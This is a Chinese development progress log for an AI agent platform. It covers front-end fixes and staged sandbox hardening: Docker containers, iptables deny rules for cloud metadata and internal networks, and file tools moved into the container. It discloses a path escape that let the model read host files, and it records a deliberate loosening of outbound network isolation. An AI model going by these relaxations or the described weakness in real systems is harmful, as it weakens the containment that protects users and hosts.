- **dev SPA 「导出对话记录」/「清空对话」按钮 disable 逻辑改成只要选中 task 就常亮**:`web/static/dev.html` `renderChatMeta` 里原本按 `t.n_messages === 0` 一并禁用两键(`:1812`/`:1815`)。bug:用户「清空对话」→ `clearMessages` 返回 `n_messages=0` → 两键 disable;之后发新消息走 SSE 流(`sendMessage` `:2210`),后端 task.n_messages 累加但前端 `state.taskMeta.n_messages` 没刷,renderChatMeta 也不会再跑,两键一直灰。改法:不按 n_messages 门禁,导出常亮、清空仅在 run running/cancelling 期间禁(后端 409,confirm 后再报错 UX 差);0 条时点导出生成空 docx、点清空 confirm 显 0 条 —— 都不会出错,语义一致更省心。`deleteTask` 路径里把"无 task 选中时两键显式 disable"逻辑保留(那时 chat-meta 退到"未选中任务"占位,常亮反而误导)。否决:(a) 修真正的 n_messages 同步问题(SSE 收 done 时回拉 taskMeta) —— 一次额外 GET,且 streaming 期间频繁拉一致性更易飘;(b) 把 export 也按 running 禁 —— export 是只读快照,run 中导出当前可见的部分对话完全合理。`DESIGN.md` 不动(无架构变化);`RUN.md` 不动(无 CLI/env 变化) - **dev SPA "导出对话记录" / "清空对话"按钮改成只要选中 task 就常亮**:原按 `n_messages===0` 禁用,清空后前端计数不刷致两键一直灰。改导出常亮、清空仅在 run 进行时禁;0 条时点也不会出错
- **dev SPA embed + task_id 模式模型下拉不显示修复**:`web/static/dev.html` `enterApp()``loadModels()` 是 fire-and-forget(`:1512` 无 await),非 embed 模式下用户手动点 task 列表行时 `/v1/models` 早已 resolve,所以下拉正常;embed 模式 + URL 带 `task_id``embedHandleMessage` 收到 token → `enterApp()` 后立刻 `selectTask(EMBED_INITIAL_TASK_ID)`(`:3766-3771`),此时 `state.models` 还是 `[]`,而 `renderModelDropdown` 在 models 为空时直接 `return ""`(`:1817`)→ 顶上模型下拉缺失(同理影响生图 / 生视频下拉)。修法在 `loadModels()` 尾部加 `if (state.taskMeta) renderChatMeta();` 一行,让 models / image_models / video_models 全部 resolve 后,若当前已有 task 选中就补一次 chat-meta 重渲;`state.taskMeta` 不存在时 `renderChatMeta` 本就 no-op,无副作用。一并覆盖"loadModels 接口慢/失败再恢复"的场景。否决:(a) 在 embed 初始 task 分支单独 `loadModels().then(selectTask)` —— 要跟 `enterApp` 里 fire 出的 loadModels 共享同一个 promise,改起来啰嗦;(b) `renderModelDropdown` 内部 fallback 自己拉一次 models —— 把数据获取塞进渲染函数,违反单一职责。`DESIGN.md` 不动(无架构变化);`RUN.md` 不动(无 CLI/env 变化) - **dev SPA embed + task_id 模式模型下拉不显示**:embed 带 task_id 时 `selectTask` 早于 `loadModels` resolve,`renderModelDropdown` 空 models 直接返空。`loadModels` 尾部加一行:若已有 task 选中则补一次 chat-meta 重渲
- **Stage C 收尾包:容器资源 yaml 化 + 应用层磁盘配额 + dogfood 网络放开 + 容器内 pip/npm 源持久化**:Step 4 完整 egress proxy(allowlist + audit + 字节计量)1-2 天工程量,**dogfood + 信任同事白名单阶段不必先做**,符合 DESIGN §7.7 阶段语义;沉淀为升级触发信号(任一陌生用户注册 / dogfood 发现模型异常 outbound / 信任白名单出现非密切相识者 → 必上 Step 4)。本批做 3 件:① **容器资源 yaml 化**:`config/agent.yaml` 加 `sandbox` 段(memory/cpus/pids_limit),`SandboxPool.__init__` 加三个字段,优先级 env > yaml > 默(2g/1.0/256);`setup_pool` / `init_pool` 透传 sandbox_cfg;`main.py sandbox check` 输出加 4 行 `[info]`(memory/cpus/pids_limit/disk_bytes_per_user)给运维一眼对账。② **应用层磁盘配额**:migration `0008_user_disk_usage`(单行 per user,bytes_used/file_count/scanned_at)+ `core/storage/disk_quota.py`(`parse_bytes`("5gb"/"500mb"/int)+ `scan_user_dir`(os.scandir 跳顶层 dotfile `.zcbot_tmp` `.memory`)+ `upsert_user_usage` ON CONFLICT + `check_disk_quota`(超额返中文 msg)+ `scan_all_users` 串行扫所有 user)+ web/app.py lifespan `_disk_scanner` 后台 task(启动跑一次 + 默 15min 周期 `run_in_executor`)+ `DockerExecutor._exec_fs_tool` write/edit 起手 `_check_user_disk_quota` 超额返 `[Error]` 不调容器 + `/v1/files/upload` 同款 gate 超额 HTTP 413。yaml `quotas.disk_bytes_per_user: 5gb` + `disk_scan_interval_seconds: 900`,≤0 视为不限,首次扫描前 check 短路放行避免冷启动卡死。race 接受:扫描间隙写入轻微突破上限(与 image/video 配额同款 race-tolerant)。③ **网络放开 + 容器内源持久化**:`core/sandbox/network.py` 去掉 `--internal` flag(改 docker bridge default 有 NAT outbound;dogfood 阶段让模型能 `pip install foo` / `curl https://...`),已存在 internal network 不自动 rm 仅 warn(避免破坏现有容器,RUN.md 给迁移命令)。Dockerfile 加 `/etc/pip.conf`(写 `[global]\nindex-url=${PIP_INDEX_URL}` + timeout 60)+ `/etc/npmrc`(写 `registry=${NPM_REGISTRY}`)让运行时 pip / npm install 也走 mirror(此前 `--build-arg` 只 build 时生效)。iptables 红线段不动 ── `169.254/127/10/172.16/192.168/100.64/PG_IP` 仍 DROP,挡 cloud metadata + 内网扫描 + loopback,这是基线不依赖 proxy。**测试**:`tests/test_disk_quota.py` 11 测试覆盖 parse_bytes 各单位 / scan_user_dir 跳 dotfile / 空目录 / 不存在路径;**unittest discover 46/46 PASS**(原 35 + 新 11)。**DESIGN §7.5 #2 待 commit 加"Step 4 延后 + 升级触发表"段落**(本 commit 暂没改 DESIGN ── DESIGN 只在架构变时改,延后决策仍在 §7.7 Stage C 阶段语义内,触发信号沉淀进 PROGRESS / RUN);RUN.md 加 yaml sandbox 段 + 网络迁移 + 配额命令 + 故障兜底 2 行(internal network legacy / 磁盘 413)。否决:(a) network 改 internal 时自动 rm + recreate ── destructive,会破现有容器连接,改 warn 让运维 ack;(b) 写前实时 du ── user_root 大时几秒一次写不能接受,sticky 周期扫描表 + 写前查表是 image/video 配额同款范式;(c) 同时做完整 Step 4 ── 1-2 天大工程,dogfood 不阻塞,先放开网络让模型能 pip install 更急(实测装包 / 拉资源能力是产品门槛);(d) 磁盘配额硬阻所有写(包括 run_python / shell)── 截 syscall 太重,write/edit + upload gate 已覆盖 95%(skill 产物路径),run_python / shell 写文件靠扫描后续感知(下次周期 check 时挡新增写入);(e) yaml `sandbox.memory` 默 4g/2cpu ── 腾讯云轻量 4 核 8G,留 host 跑 web + PG + nginx 需求,2g/1cpu 是合理基线,极端任务用户改 yaml 升配 - **Stage C 收尾包:容器资源 yaml 化 + 应用层磁盘配额 + dogfood 网络放开 + 容器内 pip/npm 源持久化**:`agent.yaml` sandbox 段(memory/cpus/pids,env>yaml>默);② migration 0008 + `core/storage/disk_quota.py` 周期扫描 + write/upload gate(race-tolerant);③ 去 `--internal`(dogfood 能 pip install)+ `/etc/pip.conf` `/etc/npmrc` 让运行时也走 mirror。iptables 红线不动。Step 4 完整 egress proxy 延后到外部开放前(沉淀为升级触发信号)
- **Stage C Step 3d:fs 工具(read/write/edit/glob/grep)进容器 + DESIGN §7.5 #6 重写**:Ubuntu dogfood 第一次切 docker backend 后发现 host 工具 `Path.cwd()` 漏底 —— 模型用 glob `*` 列出了 host `/home/lighthouse/zcbot/.git/.venv/config/core/...`,即 zcbot 源码自身。回查 DESIGN §7.5 #6 写"host 工具走 `paths.py::resolve_user_path` 校验",grep 代码**根本没那个函数**,假命题;`Tool._resolve` 实际是 `base_dir / path`,base_dir=`Path.cwd()`(= web 启动目录 = zcbot repo 根),绝对路径完全不挡,模型能 read `/etc/passwd` / write zcbot 源码自己。**修法对比**:Phase A(改 cwd → working_dir,1 行 hack)修 UX 不修安全;Phase B(host 工具加 user_root 强制校验 + skills/ 白名单,~80 行)安全但脆弱(symlink/`..`/Windows path 都得 case 挡,漏一个就破);**方案 3(fs 工具进容器)物理边界替代代码护栏,选这条**。`core/sandbox/tool_runner.py` 新增容器内 helper(~80 行,from stdin 接 JSON args 调 `tools/fs.py` Tool 子类,base_dir=cwd 走 docker exec --workdir 传入,user_root=/workspace);`DockerExecutor` 加 `FS_TOOLS = {read,write,edit,glob,grep}` 信任域 + `_exec_fs_tool` 方法 `docker exec -i ... python /sandbox/tool_runner.py <name>` + stdin 喂 JSON args(CJK 路径透明传不被 shell metachar 切);`_run_subprocess` 加 stdin 参数 + is_fs_tool 路径返 stdout 直透(不包 [stdout]/[exit],原模型语义保持),exit≠0 把 stderr 当 ToolResult content。`SandboxPool` 加 `repo_root` 字段,`_docker_run` 加 `<repo>/skills:/sandbox/skills:ro` mount(SKILL.md 内引用 `references/foo.md` 时容器内 read 能解析);`web/app.py` lifespan 透传 `ROOT`;`Dockerfile` `COPY tools/ /sandbox/tools/ + tool_runner.py` 让镜像内有一份 tools 源(build-time COPY 而非 mount —— 容器内代码不应跟随 host repo 修改重启)。**留 host 的工具**:`load_skill`(SkillRegistry 内存查找,无 fs 越界)/ `web_search` / `web_fetch` / `seedream` / `seedance`(持 Bocha/ARK API key,key 不入容器 env;Step 4 egress proxy 后再讨论)。**测试**:`tests/test_executor_docker.py` 改 `test_load_skill_passthrough_to_host`(原 `test_read_passthrough_to_host` 不再成立 —— read 进容器了)+ 加 4 个 fs 路径测试(read argv 形态 / CJK 路径 stdin JSON 透明传 / grep exit≠0 stderr 透传 / glob timeout 杀 docker CLI),`unittest discover 35/35 PASS`。**DESIGN §7.5 #6 重写**:从"工具二分(host fs + container code)"改"几乎所有工具进容器,host 只留持 key + 跨 user 的"+ 标注 2026-05-26 修正记录(原假命题溯源)。**代价**:每个 fs tool call 多 ~200ms docker exec overhead,对话级 N≤15 总 1-3s,LLM 推理 5-30s 下噪声;镜像 build COPY tools/ ~5s 增量。**升级触发**(§7.9 升级表):若 metric `docker_exec_overhead / total_tool_time > 30%` 持续两周,或模型出现"在容器内起长驻服务"工作流,启用容器内 tool-runner unix socket RPC(消除每次 exec 开销)。否决:(a) Phase B path validator —— 跟 §7.9 § "美学统一性 ≠ 升级理由"对称,**安全要"物理 ≠ 代码"才稳**;(b) `COPY core/ tools/ ...` 把整个 zcbot core 进镜像 —— tool_runner 只需要 `tools/fs.py` + base.py,容器内多余代码增加攻击面;(c) tool_runner.py 用 argv 传 JSON args —— CJK / 引号 / 路径分隔符全是 shell metachar 切风险,stdin 喂稳;(d) 让 host backend 也保留 fs 工具走 user_root 校验作"双保险" —— 双源 = 漂移源,docker backend 是 §7.5 的全部论证基础,host backend 不在外部用户场景有它就够 - **Stage C Step 3d:fs 工具(read/write/edit/glob/grep)进容器 + DESIGN §7.5 #6 重写**:dogfood 发现 host 工具 base_dir=`Path.cwd()` 漏底(模型 glob 列出 zcbot 源码),且原 DESIGN 写的 `resolve_user_path` 是假命题根本没那函数。选"物理边界替代代码护栏"走 docker exec,`tool_runner.py` 从 stdin 接 JSON args(CJK 路径透明传)。留 host:load_skill / web_* / seedream / seedance(持 key 或跨 user)
- **Stage C Step 3 hotfix:exec_user 改 username 跟随 build_arg + Dockerfile 加 Node/Chromium/mermaid-cli**:Ubuntu 上 dogfood 暴露两个真问题。① **uid 错配**:DockerExecutor 写死 `--user 1000:1000`,但镜像 `docker build --build-arg HOST_UID=$(id -u)` 跟随 host 实际 uid(腾讯云轻量 lighthouse 用户 uid=1001),docker exec 进容器 uid=1000 → bind mount `/workspace/<wd>/` owner 1001 → 写文件全 EACCES,文件落 `/tmp/`。改 `DEFAULT_EXEC_USER = "zcbot"`(username,docker 自动查容器 /etc/passwd 拿 uid),无论 HOST_UID build 成 1000/1001/其他都跟 bind mount owner 对齐,且未来切其他部署机不用改 env。② **proposal/patent skill 渲 mermaid 缺 Node**:`skills/proposal/scripts/render_diagrams.py` `render_via_mmdc``shutil.which("mmdc")`,容器没装 → 退到 mermaid.ink 公网 API → 但 sandbox 容器 `--internal` 默 deny outbound,API 也走不通 → ASCII fallback 出 docx 没图不能用。Dockerfile 加 `chromium nodejs npm` apt 装(Debian bookworm 自带 node 18.x 够新)+ `npm install -g @mermaid-js/mermaid-cli@latest`,镜像 +~400MB(接受)。容器内 chromium 缺 setuid sandbox + `/dev/shm` 不够大会跪,镜像落 `/sandbox/puppeteer-config.json`(`--no-sandbox` / `--disable-setuid-sandbox` / `--disable-dev-shm-usage` + executablePath=/usr/bin/chromium)+ ENV `MERMAID_PUPPETEER_CONFIG=/sandbox/puppeteer-config.json`,`render_via_mmdc` 改读 env 拼 `-p <config>` 注入 mmdc;host 上跑 env 没设行为零变化。`PUPPETEER_SKIP_DOWNLOAD=true` + `PUPPETEER_EXECUTABLE_PATH` 让 puppeteer 用容器 chromium 不再下载它自带的 Chrome(省 ~300MB build)。npm 源加 `--build-arg NPM_REGISTRY=https://mirrors.cloud.tencent.com/npm/`(腾讯云内网)防境内 build 慢。`DESIGN.md` 不动(纯实施层 bug fix + skill 依赖);`RUN.md` 加 NPM_REGISTRY 段 + 故障兜底 3 行(EACCES uid 错配 / mmdc 报 launch chromium / npm 慢)。否决:(a) 让 DockerExecutor 启动时探测 `os.getuid()` 自动取 host uid 作 `--user` —— 写死 username 让 docker 查 passwd 比应用层探测更直接,且 部署机 uid 偶尔变(从 1000 重装成 1001)不用改任何东西;(b) 容器走 NodeSource repo 装 Node 20 LTS —— Debian bookworm 自带 18.x 已满足 mermaid-cli 要求(>=14.x),多一步外网拖速度;(c) 不装 chromium 等 Step 4 egress proxy 后用 mermaid.ink —— proposal 是早期就要交付的能力,等 Step 4(还没动手)不现实;(d) puppeteer config 注入靠改 mmdc 启动脚本 —— mmdc 默支持 `-p`,改 render_diagrams.py 读 env 就够,不动 mmdc 内部 - **Stage C Step 3 hotfix:exec_user 改 username + Dockerfile 加 Node/Chromium/mermaid-cli**:① 写死 `--user 1000:1000` 与 bind mount owner(host uid 1001)错配致 EACCES,改 username `zcbot` 让 docker 查 passwd;② proposal/patent 渲 mermaid 缺 Node 退公网 API 又被 `--internal` 堵,Dockerfile 加 chromium/nodejs/npm + mermaid-cli + puppeteer `--no-sandbox` config
- **Stage C Step 5:`main.py sandbox check` 部署前置对账 + lifespan fs quota WARN**:外部用户开放是 §7.5 #4 magnetic 要求(xfs prjquota / ext4 project quota / zfs dataset quota,否则"扫描间隙打满共享 fs 拖死同节点"),且 docker backend 启动前置(daemon/镜像/HOST_UID 对齐)出错时 lifespan 直接 fail-fast、traceback 排查贵 —— 把"运维心智清单"沉淀成可执行命令。`main.py sandbox check` 跑 5 项独立探测:① docker daemon 可达(CLI 存在 + `docker version` rc=0)② `zcbot-sandbox:latest` 镜像存在 ③ `zcbot-sandbox-net` network 存在(缺也 OK,lifespan 自动 ensure,这一项 warn 不 err)④ 镜像内 zcbot uid 与 host uid 对齐(`docker run --rm --entrypoint id` 拿镜像 uid 比对 `os.getuid()`;Windows 自动 skip)⑤ workspace/users/ 所在 fs 类型可 quota(`findmnt --target ... -no FSTYPE,OPTIONS` 解析,识别 xfs+prjquota / ext4+project quota / zfs / btrfs / tmpfs / 其他)。`detect_fs_quota(path) -> (level, msg)` 抽出来给 lifespan 复用:`web/app.py` docker backend 启动时同样跑一次,WARN 打 stdout(不阻塞),应用层周期扫描仍生效。**err vs warn 分界**:err = docker backend 启动会 fail-fast 的根因(daemon/镜像/HOST_UID,exit 1);warn = 不阻塞启动但外部用户开放前要清(network 缺 / fs 不可 quota,exit 0)。`tests/test_sandbox_check.py` 19 测试覆盖各分支 + 汇总 exit code,mock subprocess 与 sys.platform(`run_sandbox_check` 改用 module-level lookup 而非固化 `CHECKS` 元组,让 unittest patch 生效);**全套 unittest discover 31/31 PASS**。RUN.md 加"部署前置对账"小节(`sandbox check` 5 项含义)+ "配额硬化"段重写(fs 类型 → 处理动作映射表 + xfs 升级 4 步)+ 故障兜底 3 行(sandbox init failed / fs quota warn / image not found)。否决:(a) lifespan 探测失败 → fail-fast 而非 WARN —— Step 5 阶段应用层周期扫描已有,OS 层 quota 是外部开放硬要求不是 dogfood 硬要求,fail-fast 会阻碍 dogfood 启动;(b) sandbox check 自带 `quota-set` 子命令直接调 `xfs_quota` —— `<pid>` 整数 ↔ user_uuid 映射要建表跟踪,且 sudo + /etc/projects 改动属于运维操作,Step 5 阶段只落 RUN.md 说明 + 命令清单,真要做时在外部开放前一步;(c) 在 sandbox check 里探测 egress proxy 状态 —— Step 4 未实施,占位会让人误以为已落地。`DESIGN.md` 不动(纯按 §7.5 #4 既有协议实施);`RUN.md` 更新如上 - **Stage C Step 5:`main.py sandbox check` 部署前置对账 + lifespan fs quota WARN**:5 项探测(docker daemon / 镜像 / network / 镜像内 uid 与 host 对齐 / workspace fs 可 quota)。err = 启动会 fail-fast 的根因(daemon/镜像/uid,exit 1);warn = 外部开放前要清(network 缺 / fs 不可 quota,exit 0)。`detect_fs_quota` 抽出给 lifespan 复用
- **Stage C Step 3:DockerExecutor 集成 AgentLoop + web lifespan(`ZCBOT_SANDBOX_BACKEND=host|docker` env 切 backend)**:`core/executor_docker.py` `DockerExecutor` 组合 `HostExecutor` + `SandboxPool`,`call_tool` 按 §7.5 #6 信任域 dispatch:`shell` / `run_python``pool.ensure(user_id)` 拿容器名 + `docker exec --user 1000:1000 --workdir /workspace/<wd_name> -e PYTHONIOENCODING=utf-8 setsid bash -c <cmd>` / `python <script>`(`setsid` 走包一层进程组,§7.5 #3 PGID kill 协议留 Step 3b 启用);其他工具(read/write/edit/glob/grep/load_skill/web_*/seedream/seedance)直通 host。**run_python tmp .py 落 host 侧 `<user_root>/.zcbot_tmp/<task_id>/<rand>.py`**,容器内对应 `/workspace/.zcbot_tmp/<task_id>/<rand>.py`(bind mount 自动可见);dotfile 起头让 `/v1/files` API 天然过滤(`web/app.py:169` `startswith(".")` 已挡)。**Cancel limitation 接受**:Popen.kill() 杀 docker CLI 客户端,容器内 server 端进程不会因此终止(docker exec 设计如此);第一版靠 idle 5min reaper / 下次 `ensure``rm -f` 兜底,升级触发为"用户报取消但还在烧 CPU"。`core/sandbox/__init__.py` 暴露 module-level singleton `init_pool` / `get_pool`,`agent_builder._resolve_executor` 按 env 切 backend、docker 路径 pool 未初始化 → fail-fast(不静默退到 host 防止"以为有沙盒实则在裸跑"误判);`web/app.py` lifespan 启动钩子:`init_pool(workspace/users)` + `shutdown_all` 清前驱孤儿 + `asyncio.create_task(_reaper)`(每 60s `run_in_executor(pool.reap_idle)`),关闭钩子 cancel reaper + `shutdown_all`。**pool.py 顺手清债**:`asyncio.Lock` → `threading.Lock`(主使用方是 web BG 线程同步 tool call,asyncio.Lock 会被每次 `asyncio.run` 起的 ephemeral loop 绕过保护;reaper 改 async wrapper `loop.run_in_executor(pool.reap_idle)`,pool API 全 sync 更直)。**测试**:`tests/test_executor_docker.py` 11 测试覆盖 host 直通 / shell argv 形态 / run_python tmp 文件清理 / timeout / cancel / 未知工具 / caps.enable_run_python=False;`unittest discover -s tests` **12/12 PASS**(原 1 测试不变,新 11 测试加上)。**Windows dogfood 零变化**:默 `ZCBOT_SANDBOX_BACKEND=host`,本地不动 docker;切 docker 路径只在 Ubuntu 部署机有效,真起容器 smoke 仍按 RUN.md "Sandbox(Stage C,Ubuntu)" 段 5 条命令在部署机跑。`DESIGN.md` **不动**(纯按 §7.5 #5 #6 既有协议实施);`RUN.md` 加 `ZCBOT_SANDBOX_BACKEND` env 说明 + 切 docker backend 时的启动前置条件。否决:(a) DockerExecutor 用 `asyncio.run(pool.ensure)` 包 ephemeral loop —— 跨 loop 不共享 asyncio.Lock,失串行化保护,且每次 tool call 多 ~5ms loop 创建销毁噪声;改 pool 同步成本更低;(b) `run_python` tmp .py 放工作目录内 —— 污染用户视野,SKILL 教模型"列工作目录用 glob"时 tmp 文件干扰,crash 残留与产物混(详 §7.9 取舍记录会在下次有同款问题时考虑沉淀);(c) host 侧独立 bind mount `<workspace>/.sandbox_tmp/<uid>/` 挂成容器 `/tmp_scripts` —— 多挂一个 mount 复杂度上升,单 bind mount 协议保持更直;(d) docker backend 失败时退化到 host —— 沙盒缺失=安全模型崩,fail-fast 比"看起来在跑"重要,§7.5 硬协议"任一缺失视为部署未完成" - **Stage C Step 3:DockerExecutor 集成 AgentLoop + web lifespan(`ZCBOT_SANDBOX_BACKEND=host|docker` env 切)**:shell / run_python 走 `docker exec`,其他工具直通 host;run_python tmp .py 落 `<user_root>/.zcbot_tmp/` dotfile(`/v1/files` 天然过滤)。cancel 杀 docker CLI 不杀容器内进程,靠 idle reaper 兜底。pool.py `asyncio.Lock`→`threading.Lock`。Windows dogfood 默 host 零变化
- **Stage C Step 2:Docker per-user 容器 + iptables blocklist(§7.5 #1 + #3 落地基底,未接入 AgentLoop)**:`deploy/sandbox/Dockerfile`(python:3.11-slim + tini PID 1 + iptables/iproute2/netbase + non-root user uid `HOST_UID` build-arg + 全套 requirements.txt 装到容器内)+ `deploy/sandbox/init.sh`(`set -euo pipefail`,任一 iptables 规则失败 fail-fast → 容器终止,符合 §7.5 #1"任一缺失视为 Stage C 未完成"硬协议;6 段 IPv4 红线 + ::1 IPv6 loopback 降级容忍 + `ZCBOT_PG_IPS` env 逐 IP DROP;`exec sleep infinity` 等 `docker exec` 进来)。`core/sandbox/network.py` 单函数 `ensure_network()`,`docker network create --internal zcbot-sandbox-net`(默认无 outbound + 跨容器隔离,Step 4 加 proxy 时 proxy 同接此网络);`core/sandbox/pool.py` `SandboxPool` 类持 per-user `asyncio.Lock` + in-memory `_last_active` dict —— ensure 路径 inspect 探测 → running 直接返 / exists-but-stopped `rm -f` 重起(保 iptables 重新 apply)/ 不存在 `docker run` 装齐 hardening flags(`--read-only --tmpfs /tmp:exec --cap-drop=ALL --cap-add=NET_ADMIN --security-opt=no-new-privileges --pids-limit=256 --memory=2g --cpus=1.0` + bind mount user_root → `/workspace` + label `zcbot.product=sandbox` 给批量清扫用 + `--restart=no`);`mark_active` 更新 dict / `reap_idle` 按 ttl 杀 / `shutdown_all` 杀 label 全集(app 启动清前驱孤儿用)。容器命名 `zcbot-sandbox-<user_id>`(UUID 标准串带 dash,与 mount 路径 `<workspace>/users/<user_id>/` 视觉对齐 ── `docker ps | grep zcbot-sandbox-` 直接看活跃 user)。**关键决策**:(a) **docker CLI via subprocess 而非 docker-py SDK** ── §7.5 #5 "接口形状不泄漏 Docker 假设"对应到实现层,subprocess 行为透明、零新依赖、`docker ps` 实地对账;(b) **`docker update --label-add` 不可用 → 用 in-memory dict** ── Docker 23+ 移除 runtime label 修改,所以 last_active 落 Python dict;app 重启 dict 空 → 历史孤儿由 `shutdown_all` 兜底清(lifespan 启动钩子里调);(c) **`--internal` 网络从 Step 2 即生效** ── iptables OUTPUT 规则作为 defense-in-depth(网络层已堵死 outbound,iptables 仍按协议加规则);Step 4 加 proxy 时 proxy 容器同接 `zcbot-sandbox-net`,加 iptables ACCEPT 例外 + 改默认 DROP 实现"默认 deny + 仅经 proxy";(d) **NET_ADMIN cap 留给 PID 1 root 跑 iptables** ── 容器整生命周期持 NET_ADMIN,但 PID 1 `sleep infinity` 不接外部输入,`docker exec` 进来由 `--user 1000:1000` 锁 non-root + 空 cap_effective,等同于无 NET_ADMIN。Step 3 DockerExecutor 必须硬编 --user 1000 不让 root 路径打开(代码 review 守住)。**Step 2 范围明确不包含**:① AgentLoop 集成(`agent_builder.py` 不动 ── pool 是孤立模块,Step 3 才插)② shell/run_python 切到容器 ③ egress proxy(Step 4)④ reaper 后台 task(Step 3 接入 web lifespan 时一起加)。**验证**:`from core.sandbox import ...` 全套导入 + ctor 通过;`SandboxPool(user_root_base=Path(...), pg_ips='10.x,172.x')` 字段正确;`unittest discover` 1/1 PASS。docker 真起容器验证在 Ubuntu 上跑(RUN.md "Sandbox(Stage C,Ubuntu)" 段写了 5 条 smoke 命令:build / iptables 段 / non-root uid / read-only / 销毁)。`DESIGN.md` 不动(纯按 §7.5 #1 #3 既有协议实施);`RUN.md` 加 "Sandbox(Stage C,Ubuntu)" 部署段(镜像构建 / sandbox env / 5 条验证命令 / xfs project quota 升级时点)+ 故障兜底加 2 条(uid 错配 EACCES / NET_ADMIN 缺失)。否决:(a) 容器名用 sha256(uid)[:12] + label 反查 —— 每次 exec 多一次 `docker ps --filter` round-trip,可读性损失,隐私收益 0;(b) per-task 容器 —— DESIGN §7.5 已锁 per-user 共享心智模型(同 user 多 task 共享素材),不重开;(c) 用 docker `init container` 范式做 iptables —— Docker 没原生支持(那是 k8s),compose v2 同步又增复杂度,NET_ADMIN + 非 root exec 范式更直接;(d) Step 2 立即接入 AgentLoop —— 接了不能 dogfood(本地 Windows 无 docker),反而污染 host 路径;pool 孤立 commit 留 Step 3 一起接 - **Stage C Step 2:Docker per-user 容器 + iptables blocklist(§7.5 #1 + #3 基底,未接入 AgentLoop)**:`deploy/sandbox/{Dockerfile,init.sh}`(non-root + 任一 iptables 失败 fail-fast + 6 段红线 DROP)+ `core/sandbox/{network,pool}.py`(`--internal` 网络 + per-user 容器 ensure/reap/shutdown + hardening flags `--read-only --cap-drop=ALL --memory=2g` 等)。docker CLI via subprocess 非 SDK;last_active 落内存 dict(Docker 23+ 移除 runtime label 改)
- **Stage C Step 1:Executor 接口骨架 + HostExecutor in-process backend(§7.5 #5 落地)**:`core/executor.py` 加 `Executor` ABC + `ExecCtx`(user_id/task_id/working_dir/cancel_check)+ `ToolResult`(content/exit_code);`core/executor_host.py` 加 `HostExecutor` 包原 tools dict,`call_tool` 内部分流到对应 `Tool.execute` 并把三种错误(unknown / TypeError / 抛异常)统一收成 `[Error] ...` content + exit_code 区分。`AgentLoop.__init__` 改接 `executor` 而非 `tools` dict、加 `working_dir` 形参;`_stream_llm` 用 `executor.schemas()` 拼 LLM tools 字段;`_execute_tool_call` 改单条 `executor.call_tool(name, args, ctx)`,删原三段错误 emit(unknown/TypeError/Exception 已被 executor 收编为 ToolResult,只剩一处 emit)。`agent_builder.py` 装完 tools dict 后 `HostExecutor(tools)` 包一层,传给 `AgentLoop`。**接口形状刻意 backend 无关**——不暴露 `docker exec` / `docker cp` 等 Docker 假设,Step 3 切 docker backend 时 `AgentLoop` 零改动,只换 `agent_builder.py``HostExecutor``DockerExecutor(host_tools=..., docker_tools={shell, run_python})`。**行为零变化** —— sanity import 通过,`unittest discover -s tests` 1/1 PASS。`DESIGN.md` 不动(纯按 §7.5 #5 既有协议实施,无架构漂移);`RUN.md` 不动(无新 env / CLI 变化,`ZCBOT_SANDBOX_BACKEND` env 留到 Step 3 docker backend 引入时一起加)。否决:(a) 不抽 Executor 直接在 `shell.py/run_python.py``if backend=='docker'` —— 违反 §7.5 #5,未来切 gVisor/Firecracker 时改动散到工具层;(b) Executor 用 `exec(cmd, ctx)` primitive 而非 `call_tool(name, args, ctx)` dispatcher —— 不匹配 DESIGN 签名,且 host 工具(read/web_*/seedream)不是 "命令" 语义;(c) 用 `cancel_check` callable 替代 ExecCtx 重建 —— 当前 cancel_check 是 build 后 setter 赋值,ctx 缓存会指向 stale,per-call 构 ExecCtx 是 dataclass 廉价 - **Stage C Step 1:Executor 接口骨架 + HostExecutor in-process backend(§7.5 #5)**:`core/executor.py` `Executor` ABC + `ExecCtx` + `ToolResult`,`AgentLoop` 改接 executor 而非 tools dict。接口刻意 backend 无关(不泄漏 docker 假设),Step 3 切 docker 时 AgentLoop 零改动
- **REVISIONS.md 修订日志机制(覆盖 proposal/patent/ppt 三个产物型 skill)**:`<task_dir>/REVISIONS.md` 作为产物迭代过程的紧凑 changelog —— task 对话历史是粗流水(50 条消息找上周改动靠翻),REVISIONS 是用户与 LLM 共同沉淀的实质决策列表(5 行就能复盘"上周这章为啥这么写"),与 spec 定位互补:**spec = 宪法(定调一次),REVISIONS = 实施日志(每次卡点累加)**。三个 SKILL.md 各加 (a) 起草步骤里加一步"用户确认实质改动后追加一行" + (b) "## 修订日志" 独立小节(何时记/何时不记表 + 格式约定 + 实例 + 操作)。三类 skill 的"实质改动"判据按各自领域定制:proposal = 技术路线/考核指标/创新点/课题分解/关键引文/预算结构;patent = 区别技术特征/关键参数/公式/实施例/章节;ppt = 版式/主色/页/图标/文案要点。统一原则:首次起草不记 / 错别字微调不记 / 模型自己改改撤撤不记 — 拿不准倾向不记,避免变流水账。格式选**单行 bullet 倒序追加**(时间在前、文件:章节定位、改了什么 — 为什么),用 edit 在头注释后插入新一行(不 append 到末尾,倒序读秒看最新)。否决:(a) 走 system prompt 软约束 — 对 coding/research/documents/imagegen/videogen 等非产物型 skill 强加无关约束;(b) 新建 `record_revision` tool — 开发期内 LLM 直接 edit 追加足够,加 tool 增加每次小改的调用开销,后期发现 LLM 漏记多再升 tool 化;(c) 按产物拆多文件(`<topic>.revisions.md`)— 单文件好读、跨产物时间线统一。`DESIGN.md` 不动(无架构变化);`RUN.md` 不动(无 CLI/env 变化) - **REVISIONS.md 修订日志机制(覆盖 proposal/patent/ppt 三个产物型 skill)**:`<task_dir>/REVISIONS.md` 紧凑 changelog —— spec=宪法(定调一次),REVISIONS=实施日志(每次卡点累加)。三 skill 各加"用户确认实质改动后追加一行" + 独立小节;单行 bullet 倒序追加,首次起草 / 错别字微调 / 模型自撤不记
